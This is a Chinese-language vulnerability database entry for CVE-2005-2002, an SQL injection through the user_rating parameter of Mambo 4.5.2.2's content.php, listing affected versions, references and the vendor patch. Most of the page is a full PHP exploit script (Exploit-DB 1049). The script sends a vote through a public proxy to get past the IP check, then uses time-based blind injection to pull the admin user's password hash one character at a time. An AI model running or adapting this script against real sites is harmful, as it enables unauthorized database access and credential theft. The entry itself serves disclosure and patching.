CVE-2005-2002
CVSS7.5
发布时间 :2005-06-15 00:00:00
修订时间 :2016-10-17 23:23:55
NMCOE    

[原文]SQL injection vulnerability in content.php in Mambo 4.5.2.2 and earlier allows remote attackers to execute arbitrary SQL commands via the user_rating parameter.


[CNNVD]Mambo com_content 远程SQL注入漏洞(CNNVD-200506-138)

        Mambo是一款开放源代码的WEB内容管理系统。
        Mambo的com_contents中存在严重的SQL注入漏洞,远程攻击者可能利用此漏洞非法操作数据库。
         -- content.php --
         100 case 'vote':
         101 recordVote ( $url , $user_rating , $cid ,
        $database);
         102 break;
         ...
         1478 $query = "UPDATE
        #__content_rating"
         1479 . "\n SET rating_count =
        rating_count + 1,"
         1450 . "\n rating_sum = rating_sum
        + $user_rating,"
         1451 . "\n lastip = '$currip'"
         1452 . "\n WHERE content_id = ". $cid
         1453 ;
         ----------------
        在1450行$user_rating未经任何验证便使用用户提供的数据,导致用户可以获得敏感信息。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:mambo:mambo:4.5.0.2
cpe:/a:mambo:mambo:4.5_1.0.9
cpe:/a:mambo:mambo:4.5.1.3
cpe:/a:mambo:mambo:4.5.2.2
cpe:/a:mambo:mambo:4.5.2
cpe:/a:mambo:mambo:4.5.1a:a

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2002
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2002
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200506-138
(官方数据源) CNNVD

- 其它链接及资源

http://mamboforge.net/frs/download.php/6153/CHANGELOG
(VENDOR_ADVISORY)  CONFIRM  http://mamboforge.net/frs/download.php/6153/CHANGELOG
http://marc.info/?l=bugtraq&m=111885974124936&w=2
(UNKNOWN)  BUGTRAQ  20050615 Mambo 4.5.2.2 SQL Injection in UPDATE statement
http://securitytracker.com/id?1014222
(UNKNOWN)  SECTRACK  1014222
http://www.securityfocus.com/bid/13966
(UNKNOWN)  BID  13966

- 漏洞信息

Mambo com_content 远程SQL注入漏洞
高危 SQL注入
2005-06-15 00:00:00 2005-10-20 00:00:00
远程  
        Mambo是一款开放源代码的WEB内容管理系统。
        Mambo的com_contents中存在严重的SQL注入漏洞,远程攻击者可能利用此漏洞非法操作数据库。
         -- content.php --
         100 case 'vote':
         101 recordVote ( $url , $user_rating , $cid ,
        $database);
         102 break;
         ...
         1478 $query = "UPDATE
        #__content_rating"
         1479 . "\n SET rating_count =
        rating_count + 1,"
         1450 . "\n rating_sum = rating_sum
        + $user_rating,"
         1451 . "\n lastip = '$currip'"
         1452 . "\n WHERE content_id = ". $cid
         1453 ;
         ----------------
        在1450行$user_rating未经任何验证便使用用户提供的数据,导致用户可以获得敏感信息。
        

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://mamboforge.net/frs/download.php/6151/MamboV4.5.2.3-stable.tar.g

- 漏洞信息 (1049)

Mambo 4.5.2.1 Fetch Password Hash Remote Exploit (EDBID:1049)
php webapps
2005-06-15 Verified
0 pokleyzz
N/A [点击下载]
#!/usr/bin/php -q
Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>

<?php
/*
Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>
*content rating using sub query to select from mos_users

Requirement:

	PHP 4.x with curl extension

Description:

The problem occur because $user_rating variable is not properly sanitize when for use in SQL query
for UPDATE statement. 

>From content.php (components\com_content\content.php)
-----
function recordVote ( $url, $user_rating, $cid, $database ){
	$cid = intval( $cid );
  
	if ( ( $user_rating >= 1 ) and ( $user_rating <= 5 ) ) { <--- 1st Checkpoint
		$currip = getenv( 'REMOTE_ADDR' );

		$query = "SELECT * FROM #__content_rating WHERE content_id = $cid";
		$database->setQuery( $query );
		$votesdb = NULL;
		
		if ( !( $database->loadObject( $votesdb ) ) ) {
			$query = "INSERT INTO #__content_rating ( content_id, lastip, rating_sum, rating_count )"
			. "\n VALUES ( '$cid', '$currip', '$user_rating', '1' )";
			$database->setQuery( $query );
			$database->query() or die( $database->stderr() );;
		} else {
			if ($currip <> ($votesdb->lastip)) { <-- 2nd Checkpoint
				
				$query = "UPDATE #__content_rating"
				. "\n SET rating_count = rating_count + 1,"
				. "\n rating_sum = rating_sum + $user_rating," <--- PROBLEM
				. "\n lastip = '$currip'"
				. "\n WHERE content_id = ". $cid
				;
				$database->setQuery( $query );
				$database->query() or die( $database->stderr() );
			} else {
				mosRedirect ( $url, _ALREADY_VOTE );
			}
		}
		mosRedirect ( $url, _THANKS );
	}
}
-----
User may escape 1st checkpoint by passing (1-5)(string) value to $user_rating .In PHP beginning
number in string will be use when comparing number with string.

The 2nd checkpoint will check previous user's ip rated the content. Update statement will only 
execute when previous ip is different from current ip. This proof of concept will use cgi proxy from 
http://projectbypass.com to make it possible.

In mySQL 4.1 and above it is possible to use "sub select" in any SQL statement. We will using 
"blind fishing" with sub select to fetch password hash (md5) for supplied user id. 

Exploiting step:

1) rate from different ip
2) check time for standard page loading
3) check time for page loading when benchmark executed.
		* If error occur mysql version is < 4.1 (no support for sub select)
4) double the benchmark value. Blind fishing will use this value to do the query.
5) blind fishing with sub select.

Special thanks:

al3ndaleeb at hotmail.com

*/

if (!(function_exists('curl_init'))) {
	echo "cURL extension required\n";
	exit;
}

ini_set("max_execution_time","999999");
 
$benchcount = 150000;
$aid= 62;
$cid = 2;
$charmap = array (48,49,50,51,52,53,54,55,56,57,
		  97,98,99,100,101,102,
		  103,104,105,
		  106,107,108,109,110,111,112,113,
		  114,115,116,117,118,119,120,121,122
		  );
		  
if($argv[1]){	
	$url = $argv[1];
	if ($argv[2])
		$aid = $argv[2];
	if ($argv[3])
		$benchcount = $argv[3];
	if ($argv[4])
		$proxy = $argv[4]; 
}
else {
	echo "Usage: ".$argv[0]." <URL> [userid] [benchmarkcount] [proxy]\n\n";
	echo "\tURL\t URL to mambo site (ex: http://127.0.0.1)\n";
	echo "\taid\t userid to get  (default: 62 (admin))\n";
	echo "\tbenchmarkcount\t benchmark count  (default: 150000)\n";
	echo "\tproxy\t optional proxy url  (ex: http://10.10.10.10:8080)\n"; 
	exit;
}



// rate from different ip (using http://projectbypass.com)

$projectbypass = "http://projectbypass.com/nph-proxy3.cgi/010110A/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$projectbypass.str_replace("://","/",$url)."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close ($ch);

// standard page loading time
$start = time();
$ch = curl_init();
if ($proxy){
	curl_setopt($ch, CURLOPT_PROXY,$proxy); 
}
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res  = curl_exec($ch);
curl_close ($ch);
$stop = time();
$sloadtime = floatval($stop - $start);
echo "standard page loading =".$sloadtime."\n"; 

// benchmark page loading time
$start = time();
$ch = curl_init();
if ($proxy){
	curl_setopt($ch, CURLOPT_PROXY,$proxy); 
}
curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1,rating_sum=(select+1+from+mos_users+where+if(2>1,benchmark($benchcount,md5(1)),1))+where+content_id=$cid/*");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close ($ch);
$stop = time();
$bloadtime = floatval($stop - $start);
echo "bencmark page loading =".$bloadtime."\n"; 

// check if SQL query failed
if (ereg("DB function failed",$res)){
	echo "[x] mysql < 4.1 detected - not exploitable\n";
	exit();
}

if ($bloadtime <= $sloadtime + 2){
	echo "[x] increase your benchmark count\n";
	exit();
}

echo "Take your time for Teh Tarik... please wait ...\n\n";
echo "Result:\n";
echo "\tUserid = $aid\n";
echo "\tPassword Hash = ";

// starting fetch password

$benchcount = $benchcount*2;
		
for($i= 1;$i< 33;$i++){ 
	foreach ($charmap as $char){
		$start = time();
		echo chr($char);
		$ch = curl_init();
		if ($proxy){
			curl_setopt($ch, CURLOPT_PROXY,$proxy); 
		}
		curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1,rating_sum=(select+password+from+mos_users+where+id=$aid+and+if(ascii(substring(password,$i,1))=$char,benchmark($benchcount,md5(1)),1))+where+content_id=$cid/*");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		$res=curl_exec ($ch);
		curl_close ($ch);
		$stop = time();
		$xloadtime = floatval($stop - $start);
		if (floatval($xloadtime) > $bloadtime){
			$hash .= chr($char);
			break 1;
		}
		else {
			echo chr(8);
		}
		
		if ($char == 103){
			echo "\n\n\tNot Vulnerable or Something wrong occur ...\n";
			exit;
		}
		
	}
}
echo "\n";

?>

// milw0rm.com [2005-06-15]
		

- 漏洞信息

17323
Mambo com_contents Component user_rating Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-06-15 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 4.5.2.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站